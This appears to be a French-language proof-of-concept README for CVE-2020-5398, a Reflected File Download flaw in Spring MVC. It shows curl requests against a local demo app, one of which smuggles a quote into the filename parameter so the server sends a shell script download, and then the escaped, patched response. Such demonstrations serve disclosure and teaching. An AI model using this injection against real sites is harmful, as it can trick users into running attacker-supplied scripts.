
CVE-2020-5398 - Attaque RFD (Reflected File Download) pour Spring MVC
Dans Spring Framework, versions 5.2.x antérieures à 5.2.3, versions 5.1.x antérieures à 5.1.13, et versions 5.0.x antérieures à 5.0.16, une application est vulnérable à une attaque de téléchargement de fichier réfléchi (RFD) lorsqu'elle définit un en-tête « Content-Disposition » dans la réponse, où l'attribut filename est dérivé d'une entrée fournie par l'utilisateur.
./gradlew bootrun
Écoute sur 127.0.0.1:8080.
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
Lance le téléchargement du fichier sample.txt.
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
Lance le téléchargement du fichier sample.sh. (Fichier Shell)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
Lance le téléchargement du fichier sample.sh";.txt. (Fichier texte)